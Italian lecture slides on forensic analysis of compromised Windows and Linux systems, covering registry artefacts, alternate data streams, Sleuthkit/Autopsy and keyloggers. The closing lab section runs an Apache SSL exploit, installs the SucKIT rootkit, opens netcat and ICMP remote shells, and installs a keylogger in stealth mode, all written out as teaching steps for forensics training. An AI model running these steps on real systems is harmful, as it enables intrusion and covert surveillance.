HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

lattaccante pu` o ridirigere unapplicazione ad un versione troiana (originariamente questa chiave ` e pensata per attivit` a di debugging). Una delle chiavi che vengono lette da Windows quando vengono eseguiti le EXE ` e HKEY_LOCAL_MACHINE\Software\Classes\exefile\shell\open\command che dovrebbe essere vuota o contenere il valore default %1 %* Un valore non corretto causa il caricamento di altri programmi.
65

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

Ad esempio PrettyPark, un tipico worm diuso come email attach, modica il valore in files32.vxd %1 %* In questo modo il worm si carica ogni volta che un le EXE viene fatto partire. Per controllare questa chiave si pu` o usare: ftype exefile che mostra direttamente le variabili usate a runtime Si pu` o controllare velocemente quali programmi vengono lanciati durante il boot o il login con il tool Autoruns disponibile su http://www.sysinternals.com Le liste Most Recently Used mantengono traccia di azioni/informazioni recenti. Ad esempio:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

mantiene la lista dei comandi inseriti dallutente nella


66

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

Start > Run box. la chiave


HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist

contiene due sottochiavi che appaiono come GUID (Global Unique IDentier). Ognuna di queste sottochiavi registra oggetti specici che lutente ha acceduto, ad esempio elementi del Control Panel o shortcut a le. Questi elementi sono (debolmente) cifrati con lalgoritmo ROT-13. Gli elementi NON contengono la data di accesso al le ma indicano comunque, in maniera chiara, se lutente ha acceduto, ad esempio, un programma che si ` e rivelato essere malizioso. Per leggere le varie password salvate bisogna accedere il Protected Storage, una speciale sezione del Registry. A questo scopo si pu` o utilizzare PassView disponibile da:
67

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

http://www.nirsoft.net/utils/pspv.html. La chiave base del Protected Storage ` e la:


HKEY_CURRENT_USER\SOFTWARE\Microsoft\ProtectedStorageSystemProvider

Anche le informazioni su dispositivi come penne USB sono mantenute nel Registry. Ad esempio, se una penna USB ` e stata collegata al sistema, viene aggiunta una entry alla chiave: HKEY_LOCAL_MACHINE\System\ControlSet001\Enum\USBSTOR o HKEY_LOCAL_MACHINE\System\ControlSet002\Enum\USBSTOR Il ControlSet in uso ` e rilevabile dalla chiave: HKEY_LOCAL_MACHINE\System\Select\Current. Nella chiave USBSTOR ` e riportato lidenticatore USB dei diversi dispostivi (comprese camere digitali) che sono stati collegati al sistema. Questo identicatore USB pu` o essere visto come lequivalente dellindirizzo sico di una scheda di rete e corrisponde
68

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

(in genere, ma non sempre) al numero seriale del dispositivo. Uno dei valori della chiave device ID ` e il ParentIdPrex. Se si confronta questo valore con quelli associati alla chiave HKEY_LOCAL_MACHINE\System\MountedDevices ` e possibile individuare a quale drive era stato associato il dispositivo USB. La chiave:
HKEY_LOCAL_MACHINE\Software\Microsoft\WZCSVC\Parameters\Interfaces

registra gli SSID delle reti wireless visitate. Quello che viene riportato esplicitamente ` e il GUID (globally unique identier). Questo dato pu` o essere incrociato con quello in
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\TCPIP\Interfaces\GUID

per individuare i network settings: (indirizzo IP, gateway,...) della rete visitata.

69

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

Internet Explorer mantiene tutta una serie di informazioni nel registry. A partire dalla chiave HKCU\Software\Microsoft\Internet Explorer si trovano, ad esempio, i TypedURLs (ultimi 20 indirizzi richiesti) oppure da HKCU\Software\Microsoft\Internet Explorer\Download si pu` o individuare in quale cartella vengono scaricati i le da Internet. Dal Registry si pu` o capire se ` e stato usato lEncrypting File System (una possibilit` a oerta da NTFS) controllando la chiave
HKCU\Software\Microsoft\Windows NT\CurrentVersion\EFS\CurrentKeys\CertificateHash

70

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

Alternate Data Streams (ADS) Gli ADS richiedono particolare attenzione. In maniera semplicata si pu` o dire che il le system NTFS permette di nascondere un le allinterno di un altro: Qualunque utente pu` o creare un ADS! Per creare un ADS testuale: echo pippo > file.txt e poi con notepad notepad file.txt:invisibile.txt Per creare un ADS binario: type c:\windows\system32\notepad.exe > file.txt:abcd.exe Per eseguire codice in un ADS ` e necessario specicare il path: start ./file.txt:abcd.exe oppure rundll32 c:\winnt\system32:malware.dll
71

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

(il secondo : indica che il le ` e in un ADS). Notare come, in questo caso, lADS sia in una directory. ` e leggermente pi` u complesso estrarre il le binario dallADS: cat file.txt:abcd.exe > mybinary.exe perch e il comando type non funziona su le binari. Il tool lads, disponibile su http://www.heysoft.de, oppure streams disponibile su http://www.sysinternals.com permettono di elencare gli ADS nelle directory NTFS. Per utilizzare lads e streams ` e necessario avere i privilegi di Administrator.

72

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

Altri controlli per Windows Per controllare lintegrit` a dei le di sistema Windows, si pu` o utilizzare sigverif (selezionare tra le advanced option quella che permette la ricerca di le che non hanno rma digitale). Questo tool controlla le rme digitali di tutti i le di sistema (attenzione perch e loutput pu` o essere molto verboso). Controllare lesistenza di RAM disk. Un RAM disk emula il funzionamento di un hard disk reale utilizzando un blocco di memoria ed ` e per questo molto pi` u veloce di un qualsiasi disco. In genere appare come unit` a S: con una dimensione che dipende dalla memoria riservata. in assenza di speciali accorgimenti, il contenuto del RAM disk viene perso allatto dello spegnimento della macchina; utile a chi vuole eliminare tracce di attivit` a illegale
73

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

semplicemente spegnendo il computer; molte possibili soluzioni per la creazione di un RAM disk:
http://memory.dataram.com/products-and-services/software/ramdisk

http://www.superspeed.com/ramdisk.php.

74

M. Bernaschi: Analisi di sistemi compromessi

Parte II: analisi o-line

Analisi di sistemi Windows compromessi Per copiare unimmagine di un volume e.g. D: sul sistema XXX.YYY.WWW.ZZZ si pu` o utilizzare il comando dd.exe descritto in precedenza: Sul destinatario: nc -l 1234 > /tmp/windows.image Sulla sorgente: dd.exe if=\\.\C: of=XXX.YYY.WWW.ZZZ --iport 1234 Anche se non ` e stato localizzato nulla di sospetto, dopo aver fatto ripartire il PC (per permettere ad un eventuale codice malizioso di caricarsi in memoria) ` e necessario analizzare la lista dei task attivi prima di far partire qualsiasi applicazione. Per il controllo dei task attivi si possono utilizzare i pstools
75

M. Bernaschi: Analisi di sistemi compromessi

Parte II: analisi o-line

disponibili su http://www.sysinternals.com Se ` e stato opportunamente congurato in precedenza ` e fondamentale analizzare le informazioni contenute nellEvent log. Uno strumento molto utile a questo scopo ` e il LogParser della Microsoft che permette di eettuare query SQL a le di log di diversi componenti
Il sito da cui ` e scaricabile LogParser si individua facilmente con google. Altre informazioni su LogParser sono disponibili su: http://support.microsoft.com/kb/910447

76

M. Bernaschi: Analisi di sistemi compromessi

Parte II: analisi o-line

Ad esempio, per individuare tutti i tentativi di Logon non andati a buon ne: LogParser file:LogonFailures.sql dove LogonFailures.sql contiene la seguente query:
SELECT STRCAT( EXTRACT_TOKEN( Strings, 1, |), STRCAT( \\, EXTRACT_TOKEN( Strings, 0, |))) AS User, COUNT(*) AS Total FROM Security WHERE EventType = 16 AND EventCategory = 2 GROUP BY User ORDER BY Total DESC

oppure per individuare tutti i le nascosti ed ottenere una lista ordinata per dimensione: LogParser file:HiddenFiles.sql -i:FS dove HiddenFiles.sql contiene:
77

M. Bernaschi: Analisi di sistemi compromessi

Parte II: analisi o-line

SELECT

Path, Size FROM C:\*.* WHERE NOT Attributes LIKE %D% AND Attributes LIKE %H% ORDER BY Size DESC

Anch e lEvent log sia realmente utile andrebbe congurato opportunamente prima in modo da registrare tutti gli eventi rilevanti per la sicurezza del sistema. Ricordare che per default gli eventi di sicurezza non sono registrati. Su un sistema per uso personale non ` e quindi unanomalia non trovare eventi di questo tipo!

78

M. Bernaschi: Analisi di sistemi compromessi

Parte II: analisi o-line

Analisi di documenti (estrazione dei metadati) Vari tipi di documenti (Word, PowerPoint, PDF, etc.) possono contenere informazioni aggiuntive oltre a quelle che costituiscono il core del documento stesso. Ad esempio, in un documento Word le propriet` a possono permettere di stabilire quante volte il documento ` e stato modicato oppure quando ` e stato stampato per lultima volta. Per estrarre informazioni su le di vario tipo (ad esempio documenti Oce o PDF) si pu` o usare il programma extract disponibile da http://www.gnu.org/software/libextractor/download.html Per i documenti Word ` e disponibile anche il Doc Scrubber: http://www.javacoolsoftware.com/ che permette anche la rimozione di queste informazioni (non funziona per` o per i documenti Oce 2007 che sono in un nuovo formato).
79

M. Bernaschi: Analisi di sistemi compromessi

Parte II: analisi o-line

Utilizzare il comando strings (disponibile su sysinternals).

80

M. Bernaschi: Analisi di sistemi compromessi

Pacchetti per lanalisi di sistemi compromessi Linux nativamente ore la possibilit` a di usare un lesystem ` possibile quindi accedere unimmagine contenuto in un le. E contenuta in un le XYZ.dd nel seguente modo: mount -o ro,loop XYZ.dd /mnt Il supporto nativo di Linux non permette di montare unimmagine di disco che contenga pi` u partizioni. In questo caso si pu` o 1. estrarre le partizioni individuali con il comando dd:
dd if=host_hda.dd of=host_hda1.dd bs=512 skip=63 count=15119937

le informazioni speciche su numero di blocchi, punto di inizio, etc., possono essere ottenute con il comando: fdisk -lu host_hda.dd 2. utilizzare lenhanced loopback driver che permette di accedere
81

M. Bernaschi: Analisi di sistemi compromessi

lintero hard disk come un dispositivo di loopback. Sotto Windows si pu` o usare: http://www.mountimage.com oppure si pu` o creare unimmagine per VMWare con http://liveview.sourceforge.net

82

M. Bernaschi: Analisi di sistemi compromessi

The Coroners Toolkit (TCT)

Il Coroners Toolkit, sviluppato da Dan Farmer e Wietse Venema, ` e stato uno dei primi pacchetti software appositamente sviluppati per la computer forensics ed ` e ancora disponibile su http://www.porcupine.org/forensics/tct.html I principali programmi nel TCT sono: grave-robber: uno strumento per la raccolta di informazioni, tipicamente informazioni su i-node: grave-robber -d /tmp unrm e lazarus: strumenti per il recupero di le cancellati o laccesso allo swap space. unrm /dev/hdXX > /data/victim.hdXX.unrm Su /data deve essere disponibile una quantit` a di spazio disco pari, almeno, a quella che risulta libera sulla partizione in esame. mactime: ordina le e directory nel le system sulla base delle
83

M. Bernaschi: Analisi di sistemi compromessi

The Coroners Toolkit (TCT)

informazioni sui tempi di Modica, Accesso, Cambio (MAC) reperite nelli-node: ./mactime -d /tmp -R 07/01/2003 | tac | less ils: fornisce informazioni sugli i-node di le rimossi ./ils -r -f ext2fs /dev/hda4 | less icat: per recuperare il contenuto del le corrispondente ad uno degli i-node: ./icat -hf ext2fs /dev/hda4 XXXX per recuperare tutti i le (con nomi non contenenti caratteri speciali) cancellati:
./ils -rf ext2fs /image/dev_hda1.img | awk -F | ($2=="f") {print $1} | while read i; do ./icat /image/dev_hda1.img $i > /tmp/deleted/$i; done

pcat: permette di copiare la memoria di un processo attivo.


84

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Sleuthkit ed Autopsy Unevoluzione del TCT ` e rappresentata dal pacchetto SleuthKit: http://www.sleuthkit.org/sleuthkit o http://sleuthkit.sourceforge.net per il quale ` e disponibile uninterfaccia (autopsy) via browser: http://www.sleuthkit.org/autopsy o http://autopsy.sourceforge.net. In particolare, SleuthKit supporta una serie di le systems pi` u ampia del TCT (ext3, HFS, NTFS, ...). ` possibile sperimentare questi tool su immagini di disco di E diverso tipo (NTFS, EXT3, FAT) disponibili su http://dftt.sourceforge.net oppure da http://www.honeynet.org/challenges. ` possibile sperimentare direttamente su unimmagine di disco E accedendo la partizione corrispondente (/dev/hda1 o /dev/hda4 ad esempio).
85

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Per utilizzare al meglio questi strumenti ` e richiesta una certa familiarit` a con il formato interno dei diversi le system. Informazioni di base sul formato dei le system Windows (FAT e NTFS) sono disponibili su: http://www.sleuthkit.org/sleuthkit/docs/. Informazioni sui formati Linux ext2 ed ext3 sono disponibili su http://e2fsprogs.sourceforge.net/ext2intro.html. Poich e ext3 ` e sostanzialmente identico allext2 con laggiunta delle funzionalit` a di journaling ` e suciente consultare le FAQ su http://batleth.sapienti-sat.org/projects/FAQs/ext3-faq.html

86

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

I tool forniti dallo Sleuthkit possono essere divisi in 5 categorie: 1. comandi che mostrano informazioni su lesystem completi o partizioni: fsstat e mmls; 2. comandi che permettono di accedere dati nei le: dcalc, dcat, dls, dstat; 3. comandi che permettono di accedere i metadati associati ai le: icat, ind, ils, istat; 4. comandi che permettono di svolgere compiti come creare liste di le o cercare le: s, nd; 5. comandi che permettono di ordinare i le per tipo: le, sorter. Il comando mactime mostra gli eventi sul le system in ordine cronologico. fls -f ntfs -r /dev/hda1 -m / | mactime 01/01/2001 | tac | less
87

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Per catalogare i contenuti di una partizione: sorter -f ntfs -d /tmp -m C:/ /dev/hda1. La catalogazione si pu` o adattare a speciche esigenze denendo delle regole. Per maggiori informazioni consultare i numeri 3-5 della newsletter dello sleuthkit: http://www.sleuthkit.org/informer

Il recovery dei le ` e analogo a quello del TCT:


#!/bin/bash ils -f ntfs -r /dev/hda1 | tail +4 | awk -F | $11 > 0 {print $1} | \ while read in; do icat -f ntfs /dev/hda1 $in > /tmp/rectmp/$in done ./file /tmp/rectmp/* | egrep "Office"

88

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Autopsy permette di accedere via browser gli strumenti dello Sleuthkit. Linstallazione di Autopsy deve essere eettuata dopo quella dello Sleuthkit in quanto viene richiesto il nome della directory dove ` e installato. ` consigliabile creare una directory per salvare i diversi casi E che vengono creati con Autopsy. 1. Se non ` e gi` a nota, individuare le partizioni da analizzare utilizzando (da terminale) il comando fdisk -l. 2. Quando viene fatto partire dalla linea comandi autopsy, viene mostrato un URL (http://localhost:9999/autopsy) che va acceduto con un browser. 3. La sequenza di operazioni standard eseguita attraverso il browser ` e la seguente:
89

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

4. creazione di un nuovo caso (New case); viene creata la directory che conterr` a tutte le informazioni speciche sul caso. 5. denizione del sistema(i) che verr` a analizzato (add host); 6. denizione dellimmagine di disco che verr` a analizzata (add image) ` e possibile analizzare direttamente la partizione sica (ad esempio: /dev/hda1 o quella individuata con fdisk -l); 7. a questo punto inizia lanalisi vera e propria selezionando File Activity Time Lines: vanno prima estratte le informazioni che costituiscono il body attraverso la scelta Create Data File. In pratica vengono utilizzati i comandi fls ed ils dello Sleuthkit.
90

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

la scelta Create Timeline crea la sequenza di operazioni sul le system in ordine cronologico. la scelta View Timeline permetta la visualizzazione e la navigazione attraverso la time-line. Autopsy ore anche altre funzionalit` a come lordinamento dei le per tipo o la ricerca di parole chiave (keyword searching). Dopo che ` e stata completata la creazione della timeline ` e possibile accedere alle altre funzionalit` a selezionando dalla schermata dei casi i details dellimmagine desiderata (sotto HOST MANAGER) Nella schermata successiva ` e possibile scegliere di estrarre i dati non allocati oppure di andare direttamente alla schermata di gestione del le system da dove si accede lordinamento dei le per tipo, la ricerca di stringhe, i metadati del le system.
91

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Fare attenzione se viene utilizzata la feature di keyword searching di Autopsy perch e non si considera la struttura logica e limmagine viene vista come un unico blocco di dati.

92

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Tool per lanalisi di alcuni importanti tipi di le in Windows Scaricare sul Desktop di Windows il le: http://www.iac.rm.cnr.it/wft.zip e scompattarlo. Verr` a creata la cartella WinForeTools. Per lanalisi del Recycle Bin ` e possibile utilizzare Riuti disponibile su http://www.foundstone.com/us/resources-free-tools.asp. Sullo stesso sito ` e disponibile un documento che descrive il formato interno utilizzato per la gestione del cestino. Per provarlo: rifiuti INFO2 nella cartella WinForeTools. Per lanalisi degli history le di IE (che sono normalmente le binari non leggibili) si pu` o usare Pasco reperibile dallo stesso sito di Riuti che legge i le index.dat (il tipico nome degli history le) e produce in output le leggibili contenenti liste di siti
93

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

visitati e varie informazioni associate alla visita. Per i cookie ` e possibile utilizzare il tool iecv disponibile su http://www.snapfiles.com/get/iecookies.html. Per leggere la cache di IE ` e possibile utilizzare il Cache Reader disponibile su http://www.wbaudisch.de/CacheReader.htm Per unanalisi completa dei le relativi ad Internet Explorer (e non solo) si pu` o utilizzare la Index.dat suite disponibile da http://support.it-mate.co.uk/?mode=Products&p=index.datsuite. Per installarla, idsuite_setup.exe nella cartella WinForeTools. Per leggere inne i le di Outlook che costituiscono le mailbox (le *.pst) ` e possibile utilizzare readpst disponibile su http://alioth.debian.org/projects/libpst Il disk investigator
94

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

(http://www.theabsolute.net/sware/dskinv.html) permette di analizzare un intero disco in diversi formati (testo, esadecimale, etc.). Per installarlo: dskinv.exe nella cartella WinForeTools http://live.sysinternals.com/ permette di provare i vari tool sysinternals senza doverli installare.

95

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Installazione Sleuthkit ed Autopsy Scaricare sul Desktop di Linux i le: http://www.iac.rm.cnr.it/sleuthkit-3.1.2.tar.gz e http://www.iac.rm.cnr.it/autopsy-2.24.tar.gz Aprire un terminale come utente root tar -zxvf sleuthkit-3.1.2.tar.gz cd sleuthkit-3.1.2 ./congure make make install cd .. which ils
96

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

tar -zxvf autopsy-2.24.tar.gz cd autopsy-2.24 ./congure (accettare tutti i default) ./autopsy

97

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Come nascondere dati in un eseguibile Il programma hydan permette di nascondere dati in un programma eseguibile scritto per i processori x86.

Il programma ` e disponibile su http://www.crazyboy.com/hydan


98

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Utilizzo (ad esempio sulleseguibile /bin/ls): cd /usr/local/Software/analisi/hydan ./hydan /bin/ls segreto > /tmp/ls.st in questo modo si nasconde il messaggio contenuto nel le segreto nelleseguibile /tmp/ls.st che ha la stessa dimensione e stessa funzionalit` a del comando /bin/ls; viene richiesta una password per la cifratura del messaggio. Per decodicare: hydan-decode /tmp/ls.st viene richiesta la password inserita allatto della creazione.

99

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Spyware e Keylogger Lo spyware raccoglie informazioni su un utente e le invia usando un Globally Unique IDentier (GUID) come il numero di 16 byte usato da Microsoft per identicare in maniera univoca un sistema, una rete, oppure un documento. I keylogger sono applicazioni che controllano quello che viene inserito tramite tastiera da un utente ed inviano queste informazioni (tipicamente in maniera non evidente) ad un utente malizioso. Ci soermiamo in particolare sui keylogger.

100

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Keylogger Esistono tre categorie di keylogger: 1. hardware: si tratta di piccoli dispositivi inseriti tra la tastiera ed il computer. A causa del formato ridotto possono non essere individuati anche per lunghi periodi di tempo. Linstallazione richiede, ovviamente, accesso sico alla macchina. http://www.keyghost.com/ o http://www.srn.it/keylogger/

101

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

2. software: basato su un meccanismo di hooking (agganciamento). Sotto Windows esiste una funziona apposita SetWindowsHookEx() che permette di scrivere facilmente un programma che pu` o registrare tutto quanto viene inserito tramite tastiera. In genere il programma si accoppia ad una DLL che gestisce quanto viene registrato (ad esempio inviandolo in rete). 3. kernel/driver: questo tipo di logger sostituisce il software di sistema che interpreta quanto viene inserito da tastiera. Pu` o essere programmato in modo da essere praticamente non rilevabile, mentre il metodo precedente pu` o essere rilevato tramite unanalisi delle chiamate eettuate.

102

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Esempi di keylogger 1. Perfect Keylogger (Blazing Tools Software) http://www.blazingtools.com/bpk.html 2. Spector keylogger http://www.spector.com 3. Invisible Keylogger Stealth keylogger http://www.amecisco.com/iks2000.htm 4. Keysnatch keylogger http://www.fileheaven.com/Keysnatch/download/2975.htm ad esempio, il Perfect Keylogger ore le seguenti caratteristiche:
funzionamento in modalit` a invisibile; installazione remota. Il keylogger pu` o essere agganciato ad altri programmi ed inviato per e-mail. possibilit` a di rinominare tutte i le eseguibili e le entry del registry.

103

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Installazione del keylogger Sotto Windows scaricare http://www.iac.rm.cnr.it/iks2k21d.exe sul desktop ed installare (pu` o richiedere il reboot). Due modalit` a di installazione: Normale: compare unicona sul desktop per eettuare la visualizzazione di quanto registrato. Stealth (invisibile): 1. disinstallare eventuali precedenti versioni. 2. installare ricordando i nomi dei due le iks.sys ed iks.dat. Il nuovo nome di iks.sys deve essere nel classico formato 8.3. 3. datview.exe pu` o essere utilizzato da un altro sistema a cui viene trasferito iks.dat (o come ` e stato chiamato).
104

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Rilevazione di un keylogger Il prodotto della Microsoft Windows AntiSpyware


http://www.microsoft.com/athome/security/spyware/software/default.mspx

ore una soluzione generale ai problemi di spyware ed ` e anche in grado di rivelare keylogger.

105

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Laboratorio Sulla macchina vittima: far partire httpd -DHAVE SSL Sulla macchina attaccante: OpenFuck 0x73 <indirizzo IP vittima> -c 30 # (RH 7.3) OpenFuck 0x6b <indirizzo IP vittima> -c 30 # (RH 7.2) Sulla macchina violata: nc -l -p 1234 > exp Sulla macchina attaccante: nc 192.168.0.5 1234 < ptracexp PREPARAZIONE DEL ROOTKIT (SucKIT):
Ricordarsi di cancellare la directory /usr/share/locale/sk/.sk12!

1. cd ~/Corsi/Security/Rootkit/sk-1.3a
106

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

2. make skconfig (denisce la home, susso dei le nascosti e la password di accesso, noi usiamo welcome1). 3. make 4. Migrazione del rootkit (programma inst) (se necessaria). 5. Sulla macchina vittima: (a) source inst (b) cd /usr/share/locale/sk/.sk12 (home del rootkit) (c) ./sk 6. Sulla macchina attaccante, nella directory dove ` e stato preparato il rootkit: ./login -h <nome o indirizzo IP della macchina target>

107

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Netcat backdoor client: sulla macchina dellattaccante vengono fatte partire (in due nestre distinte) due sessioni di netcat in modalit` a server: netcat -v -l -p 80 e netcat -v -l -p 8080 sulla macchina vittima viene fatto partire in modalit` a client: netcat <indirizzo IP> 80 |/bin/sh| netcat <indirizzo IP> 8080 La connessione appare rivolta ad un web server ma lattaccante pu` o inserire comandi (dalla sessione fatta partire con il comando netcat -v -l -p 80) dallesterno che appaiono come traco HTTP!

108

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Loki (remote shell su ICMP)


cd /usr/local/Software/analisi/L2 Sul server: ./lokid Sul client: ./loki -d 192.168.0.XX -p i

Esempio di reverse tunneled shell: rwwwshell-2.0.pl: 1. cd /usr/local/Software/analisi 2. si denisce lindirizzo del master (variable $SERVER) 3. sulla macchina attaccante rwwwshell-2.0.pl master 4. sulla macchina compromessa rwwwwshell-2.0.pl slave il programma sulla macchina compromessa si maschera come vi. Per visualizzare tutti i processi nel le system /proc:
cd /proc for i in seq 1 65535; do test -f $i/cmdline && (cat $i/cmdline | tr \0 ; echo " $i"); done
109

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Analisi partizione: Individuare tutti i le di tipo jpeg nella partizione NTFS disponibile nel le /usr/local/Software/analisi/ntfs/ntfs-jpeg-search.dd ` e possibile accedere, sotto Linux, la partizione con il comando: mount mount -oro,loop -t ntfs ntfs-jpeg-search.dd /mnt

110

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Reverse Engineering Molto spesso i programmi troiani sono compressi con un executable packer. il pi` u comunemente usato ` e upx pu` o comprimere eseguibili Linux e Windows. Se il troiano ` e scritto in un linguaggio intepretato o semi-interpretato quale Visual Basic, Java o Perl, ` e possibile utilizzare tool che decompilano questi linguaggi. Se il troiano ` e scritto in un linguaggio compilato (tipicamente C), ` e necessario disassemblare leseguibile. Per Unix: objdump e lo script in perl dasm.pl Per Windows: IDA Pro o W32dasm http://www.softnews.ro/public/cat/5/1/5-1-7.shtml
111

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Esistono anche decompilatori per il C anche se le funzionalit` a sono ristrette a fornire una sorta di pseudocodice. REC (Reverse Engineering Compiler), disponibile su http://www.backerstreet.com/rec/rec.htm, legge un le eseguibile, e cerca di produrre una rappresentazione in linguaggio C del codice e dei dati usati per costruire il le eseguibile. Boomerang (http://boomerang.sourceforge.net), progetto open-source che cerca di sviluppare un decompilatore completo per diverse piattaforme.

112

M. Bernaschi: Analisi di sistemi compromessi

Sleuthkit ed Autopsy

Fondamentale ` e luso del debugger per tracciare lesecuzione del codice che si sospetta essere un troiano: Per Unix: il classico gdb Per Windows: molto utilizzato ` e SoftICE http://www.compuware.com/products/driverstudio/default.htm Un traceback nei punti critici (ad esempio prima di una send che invia informazioni su rete) permette di capire il usso di esecuzione del sospetto troiano.

113